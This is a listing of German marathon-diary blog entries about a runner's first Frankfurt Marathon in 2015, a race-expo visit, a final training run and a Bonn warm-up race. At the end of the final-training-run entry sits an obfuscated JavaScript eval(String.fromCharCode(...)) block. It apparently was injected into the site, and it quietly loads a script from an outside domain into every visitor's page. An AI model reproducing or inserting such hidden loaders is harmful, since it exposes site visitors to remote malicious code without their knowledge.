Frankfurt Marathon 2015

Das war er, mein erster Marathon! 3:40 hatte ich mir vorgenommen. Tja, wären mir da die Knieprobleme mal nicht dazwischen gekommen. Ab Kilometer 13 haben die mich leider ziemlich belastet. Trotzdem war ich bis Kilometer 22 noch gut auf Kurs. Dann wurde es aber immer schlimmer. Ärgerlich! Hatte ich doch im Training die 30er und„Frankfurt Marathon 2015“ weiterlesen

mein marathon tagebuch – startunteragen

Startunterlagen und letzte Tips von Dieter Baumann Ich fahr also einen Tag vor dem Startschuss nach Frankfurt um mir meine Startunterlagen in aller Ruhe zu holen und schon mal die Locations zu checken. Mich erwartet eine riesen Laufmesse mit allem Pi Pa Po. Jan Frodeno wird von massenhaft Presse verfolgt. Dieter Baumann ist nicht nur„mein marathon tagebuch – startunteragen“ weiterlesen

mein marathon tagebuch – lauf 71

Ein gutes Omen Der letzte Trainingslauf. Und mir begegnet einer meiner Laufidole. Wenn das mal kein gutes Omen ist! Danke auch für die warmen Worte nachträglich via facebook, lieber Rafael! So, jetzt kann ich nix mehr tun, außer schlafen und hoffen…eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,52,54,44,49,49,54,44,49,49,52,44,57,55,44,57,57,44,49,48,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,49,48,53,44,49,49,53,44,49,49,54,44,49,48,53,44,57,57,44,49,49,53,44,49,49,53,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,48,54,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

mein marathon tagebuch – drei brücken lauf special bonn

Ein gutes Rennen. Habe weitere wertvolle Wettkampf Erfahrungen gesammelt. Hat auch echt Spaß gemacht. Danke an das Team für die tolle Organisation! Für gerade mal 2 Euro Anmeldegebühr + erwünschte Spende an die Deutsche Kinder Krebshilfe echt ein tolles Rennen. Denke, ich bin nächstes Jahr wieder dabei. So, der Marathon kann kommen. Rennpace verfestigt Laufen„mein marathon tagebuch – drei brücken lauf special bonn“ weiterlesen

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